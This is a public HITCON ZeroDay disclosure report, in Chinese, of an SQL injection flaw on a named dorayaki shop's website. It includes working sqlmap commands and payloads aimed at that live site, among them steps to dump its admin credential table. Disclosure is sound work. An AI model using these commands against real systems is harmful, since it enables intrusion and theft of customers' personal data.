牧丘銅鑼燒 官網存有資料庫注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00903
  •  發信 Vendor: 牧丘銅鑼燒
  • Title: 牧丘銅鑼燒 官網存有資料庫注入漏洞
  • Introduction: 利用了未驗證使用者輸入的網頁應用程式。攻擊者可以透過網頁應用程式傳送SQL 命令給後端資料庫執行。

處理狀態

目前狀態

公開
Last Update : 2024/10/11
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/08/11 16:25:10 : 新提交 (由 杏子人 更新此狀態)
  • 2024/08/12 13:04:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/08/14 09:05:02 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/08/14 09:05:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/08/14 09:05:02 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/11 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00903
  • 通報者:Kazusa_1612 (杏子人)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://dorayaki.com.tw/news_detail/index.php?id=115

https://dorayaki.com.tw/news_detail/index.php?id=115'

敘述

圖片
上圖為"最新消息"其中一頁的正常網頁

圖片
上圖為"最新消息"其中一頁的網址 index.php?id=115' 進行SQL語法的注入,並出現 ERROR 500 頁面

圖片
上圖為使用工具 "SQLmap" 對該網址進行檢測,並發現 index.php?id= 存有SQL injection,該工具使用之命令為 $ sqlmap -u "https://dorayaki.com.tw/news_detail/index.php?id=115" --random-agent --tamper space2comment,space2hash,space2mssqlhash 。

Payload如下:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=115 AND 4793=4793

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: id=115;SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=115 AND (SELECT 4945 FROM (SELECT(SLEEP(5)))XfId)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 17 columns
    Payload: id=-4704 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6b7871,0x584368496b76596e4b4c4955704a766b5263506d616b70566e4d59497947747174796d43656f7057,0x716b626a71),NULL,NULL,NULL,NULL#

圖片
上圖為使用SQLmap工具之指令:sqlmap -u "https://dorayaki.com.tw/news_detail/index.php?id=115" --random-agent --tamper space2comment,space2hash,space2mssqlhash -D dorayakicom_rwd --tables --threads 10
就會dump出該網站的資料庫中的所有資料表。

圖片
上圖為使用SQLmap工具之指令:sqlmap -u "https://dorayaki.com.tw/news_detail/index.php?id=115" --random-agent --tamper space2comment,space2hash,space2mssqlhash -D dorayakicom_rwd -T tbl_sys_user --threads 10
就會dump資料表中 tbl_sys_user 裡面的資料,其中 login_name 、login_pwd 存放該網站後台的帳號、密碼。
可使用
sqlmap -u "https://dorayaki.com.tw/news_detail/index.php?id=115" --random-agent --tamper space2comment,space2hash,space2mssqlhash -D dorayakicom_rwd -T tbl_sys_user -C login_name,login_pwd --dump --threads 10
就能知道帳號、密碼,因涉及明文帳密,因此未截圖放上來。

圖片
將網址改成 https://domain/admin/ 即可進入後台管理系統的頁面,並使用超級管理員之帳號、密碼確定能夠登入到管理系統裡面,內部甚至能看到個資、訂單、修改網站頁面等,請立即修補。

*補充:因網站底部有放著 Powered by JWA ©2023 Website designed by THADV,請兩邊都聯繫看看,其他設計的網站部分也有相同漏洞存在,因後臺系統上寫著晶威網站管理系統,因此上方組織有填寫。

修補建議

1. 可以參考 OWASP TOP10 SQL injection 的修補方法。

2. 建議告知業者使用較複雜的帳號、密碼,並定期更改。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;